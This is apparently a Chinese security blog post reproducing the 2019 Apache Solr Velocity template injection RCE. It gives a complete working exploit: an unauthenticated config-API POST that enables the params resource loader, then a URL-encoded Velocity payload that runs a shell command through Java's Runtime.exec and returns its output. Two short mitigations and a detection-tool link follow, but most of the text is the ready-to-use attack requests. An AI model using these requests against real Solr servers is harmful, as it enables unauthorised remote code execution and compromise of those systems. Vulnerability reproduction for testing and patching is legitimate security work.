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apache solr velocity模板注入漏洞重现

0x00 概述

20191031 网上爆出apache solr velocity模板注入的rce漏洞,该漏洞由国外安全研究员s00py公开,当solr默认插件VelocityResponseWrite中params.resource.loader.enabled参数值为true(默认false),再通过精心构造的get请求即可RCE。
//如果存在solr未授权访问,可post直接修改params.resource.loader.enabled参数值为true

影响范围在solr 5.x – 8.2.0  (with config api)

 

0x01 漏洞重现

solr-spec

6.6.1

先利用未授权修改params.resource.loader.enabled参数值为true

POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}


GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

 

0x02 检测工具

https://github.com/theLSA/solr-rce

 

0x03 防御方案

1.配置授权访问solr控制台。

2.配置文件configoverlay.json设置只读

 

0x04 参考资料

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

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